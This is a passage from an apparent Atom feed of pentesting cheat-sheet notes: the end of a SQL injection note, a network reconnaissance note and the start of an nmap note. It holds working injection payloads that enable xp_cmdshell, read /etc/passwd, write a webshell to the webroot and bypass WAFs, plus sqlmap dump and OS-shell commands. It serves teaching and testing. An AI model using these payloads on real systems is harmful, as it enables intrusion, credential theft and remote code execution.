&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;; EXEC sp_configure &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;show advanced options&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;,1; RECONFIGURE;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;   EXEC sp_configure &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;xp_cmdshell&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;,1; RECONFIGURE;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;   EXEC xp_cmdshell &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;whoami&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;;--&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PostgreSQL - &lt;code&gt;COPY ... TO&#x2F;FROM PROGRAM&lt;&#x2F;code&gt; (superuser) runs commands.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;MySQL - no direct command exec, but &lt;code&gt;INTO OUTFILE&lt;&#x2F;code&gt; can write a file to the webroot (needs &lt;code&gt;FILE&lt;&#x2F;code&gt; priv + a writable, web-served path) to plant a webshell → RCE.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;reading-writing-files&quot;&gt;Reading &#x2F; writing files&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;sql&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39; UNION SELECT LOAD_FILE(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;etc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;passwd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;), NULL--                          -- MySQL read (FILE priv)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt; UNION SELECT&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &amp;#39;&amp;lt;webshell payload - see 2.2&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8992A7;&quot;&gt;        INTO&lt;&#x2F;span&gt;&lt;span&gt; OUTFILE &lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt;&amp;#39;&#x2F;var&#x2F;www&#x2F;html&#x2F;s.php&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;--                             -- write to webroot&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;waf-filter-bypass&quot;&gt;WAF &#x2F; filter bypass&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Inline comments split keywords: &lt;code&gt;UN&#x2F;**&#x2F;ION SE&#x2F;**&#x2F;LECT&lt;&#x2F;code&gt;; MySQL &lt;code&gt;&#x2F;*!50000UNION*&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Case variation: &lt;code&gt;UnIoN SeLeCt&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Encoding: URL &#x2F; double-URL, hex (&lt;code&gt;0x61&lt;&#x2F;code&gt;=&#x27;a&#x27;), &lt;code&gt;CHAR()&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Whitespace alternatives: &lt;code&gt;&#x2F;**&#x2F;&lt;&#x2F;code&gt;, &lt;code&gt;%0a&lt;&#x2F;code&gt;, tabs, parentheses&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Keyword-free logic: &lt;code&gt;||&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;&amp;amp;&lt;&#x2F;code&gt;, &lt;code&gt;LIKE&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;automation-sqlmap&quot;&gt;Automation - sqlmap&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sqlmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u &amp;quot;http:&#x2F;&#x2F;target&#x2F;item?id=1&amp;quot; --dbs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # enumerate databases&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sqlmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u &amp;quot;...&amp;quot; -D shop -T users --dump&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # dump a table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;sqlmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u &amp;quot;...&amp;quot; --os-shell&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                       # attempt OS shell (if an RCE path exists)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;sqlmap Manual - &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sqlmapproject&#x2F;sqlmap&#x2F;wiki&#x2F;Usage&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;sqlmapproject&#x2F;sqlmap&#x2F;wiki&#x2F;Usage&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;PortSwigger - SQL injection &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;portswigger.net&#x2F;web-security&#x2F;sql-injection&quot;&gt;https:&#x2F;&#x2F;portswigger.net&#x2F;web-security&#x2F;sql-injection&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;PayloadsAllTheThings - SQL Injection &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;swisskyrepo&#x2F;PayloadsAllTheThings&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;swisskyrepo&#x2F;PayloadsAllTheThings&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;OWASP - SQL Injection &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-community&#x2F;attacks&#x2F;SQL_Injection&quot;&gt;https:&#x2F;&#x2F;owasp.org&#x2F;www-community&#x2F;attacks&#x2F;SQL_Injection&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>Network</title>
        <published>2026-07-05T00:00:00+00:00</published>
        <updated>2026-07-05T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/network/"/>
        <id>https://frekler.com/ai-red-teaming/notes/network/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/network/">&lt;pre&gt;

+ Disclaimer -----------------------+
| The content provided is           |
| for educational and informational |
| purposes only                     |
| I do not support                  |
| or encourage any illegal          |
+-----------------------------------+

&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                 # Linux: interfaces &amp;amp; IP addresses (older: ifconfig)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                 # Linux: routing table + default gateway&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ipconfig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; &#x2F;all&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # Windows: interfaces, DNS, MAC, DHCP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ping&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # is it up? round-trip time (Windows: 4 by default)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;traceroute&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;      # Linux: hops along the path (Windows: tracert)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;connectivity-checks&quot;&gt;Connectivity checks&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -vz host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 445&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                       # netcat: quick TCP port check&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;telnet&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                        # open = connects; closed = error&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ss&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -tlnp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                              # Linux: listening TCP sockets + process&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;netstat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -ano&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                          # Windows: connections + PID&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;Test-NetConnection&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; host -Port&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 3389&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;    # Windows&#x2F;PowerShell: port + ping test&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;dns&quot;&gt;DNS&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nslookup&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # non-interactive lookup&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;dig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;               # Linux, richer output&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;dig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; +short example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;        # just the answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;dig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 1.2.3.4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;                # reverse lookup (IP → name)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;              # quick forward&#x2F;reverse lookup&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;dig&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; axfr @ns1.example.com example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # zone transfer (if misconfigured → all records)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;subdomain-enumeration&quot;&gt;Subdomain enumeration&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Passive&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -s &amp;quot;https:&#x2F;&#x2F;crt.sh&#x2F;?q=%25.example.com&amp;amp;output=json&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; jq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -r &amp;#39;.[].name_value&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C4B28A;&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt; sort&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;subfinder&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -d example.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # aggregates many passive sources&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;amass&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; enum -passive -d example.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;theHarvester&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -d example.com -b all&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;   # emails, hosts, subdomains from OSINT&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Active&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;gobuster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; dns -d example.com -w subdomains.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;dnsx&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -l hosts.txt -silent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # fast resolver &#x2F; filter live hosts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;content-discovery-fuzzing-ffuf-gobuster&quot;&gt;Content discovery &#x2F; fuzzing (ffuf &#x2F; gobuster)&lt;&#x2F;h2&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Directory &#x2F; file discovery&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;gobuster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; dir -u http:&#x2F;&#x2F;target -w &#x2F;usr&#x2F;share&#x2F;wordlists&#x2F;dirb&#x2F;common.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ffuf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u http:&#x2F;&#x2F;target&#x2F;FUZZ -w wordlist.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # FUZZ = injection point&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ffuf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u http:&#x2F;&#x2F;target&#x2F;FUZZ -w wordlist.txt -e .php,.txt -mc 200,301&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;feroxbuster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u http:&#x2F;&#x2F;target -w wordlist.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;          # recursive by default&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;# Virtual-host (vhost) fuzzing - same IP, different Host header&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;ffuf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -u http:&#x2F;&#x2F;target -H &amp;quot;Host: FUZZ.example.com&amp;quot; -w subdomains.txt -fs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A292A3;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;Fuzz twice: once unauthenticated, once with a valid session cookie - authenticated users often reach paths anonymous ones can&#x27;t.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-mc&lt;&#x2F;code&gt; match &#x2F; &lt;code&gt;-fc&lt;&#x2F;code&gt; filter by status code; &lt;code&gt;-fs&lt;&#x2F;code&gt; filter by response size (kills noise).&lt;&#x2F;p&gt;
&lt;p&gt;Private ranges (not routable on the internet): &lt;code&gt;10.0.0.0&#x2F;8&lt;&#x2F;code&gt;, &lt;code&gt;172.16.0.0&#x2F;12&lt;&#x2F;code&gt;, &lt;code&gt;192.168.0.0&#x2F;16&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;APIPA &lt;code&gt;169.254.0.0&#x2F;16&lt;&#x2F;code&gt; = a host that failed to get DHCP (no real network).&lt;&#x2F;p&gt;
&lt;p&gt;CIDR &lt;code&gt;&#x2F;24&lt;&#x2F;code&gt; = 256 addresses (&lt;code&gt;.0&lt;&#x2F;code&gt;–&lt;code&gt;.255&lt;&#x2F;code&gt;): &lt;code&gt;.0&lt;&#x2F;code&gt; = network address, &lt;code&gt;.255&lt;&#x2F;code&gt; = broadcast, usable hosts &lt;code&gt;.1–.254&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;A subnet is written &lt;code&gt;192.168.56.0&#x2F;24&lt;&#x2F;code&gt; or as a range &lt;code&gt;192.168.56.1-254&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;materials&quot;&gt;Materials&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;SecLists (wordlists) - &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;danielmiessler&#x2F;SecLists&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;danielmiessler&#x2F;SecLists&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;crt.sh - certificate transparency search - &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;crt.sh&quot;&gt;https:&#x2F;&#x2F;crt.sh&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;subfinder &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;projectdiscovery&#x2F;subfinder&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;projectdiscovery&#x2F;subfinder&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;amass &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;owasp-amass&#x2F;amass&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;owasp-amass&#x2F;amass&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;ai-red-teaming&#x2F;notes&#x2F;ports&#x2F;&quot;&gt;Ports&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;&#x2F;ai-red-teaming&#x2F;notes&#x2F;nmap&#x2F;&quot;&gt;nmap notes&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;nmap &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;nmap.org&#x2F;book&#x2F;man.html&quot;&gt;https:&#x2F;&#x2F;nmap.org&#x2F;book&#x2F;man.html&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry>
        <title>nmap</title>
        <published>2026-07-04T00:00:00+00:00</published>
        <updated>2026-07-04T00:00:00+00:00</updated>
        <author>
            <name>Frekler</name>
        </author>
        <link rel="alternate" type="text/html" href="https://frekler.com/ai-red-teaming/notes/nmap/"/>
        <id>https://frekler.com/ai-red-teaming/notes/nmap/</id>
        
        <content type="html" xml:base="https://frekler.com/ai-red-teaming/notes/nmap/">&lt;pre&gt;

+ Disclaimer -----------------------+
| The content provided is           |
| for educational and informational |
| purposes only                     |
| I do not support                  |
| or encourage any illegal          |
+-----------------------------------+

&lt;&#x2F;pre&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #C5C9C5; background-color: #181616;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sn host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # host discovery (ping sweep): who&amp;#39;s up&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -F host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;            # fast scan (top 100 ports)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -p- host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;           # ALL 65535 TCP ports&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -sV -sC host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;       # service&#x2F;version enum + default NSE scripts&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #8EA4A2;&quot;&gt;nmap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #8A9A7B;&quot;&gt; -A -T4 -v host&lt;&#x2F;span&gt;&lt;span style=&quot;color: #737C73;&quot;&gt;     # aggressive (intense): OS, versions, scripts, traceroute&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
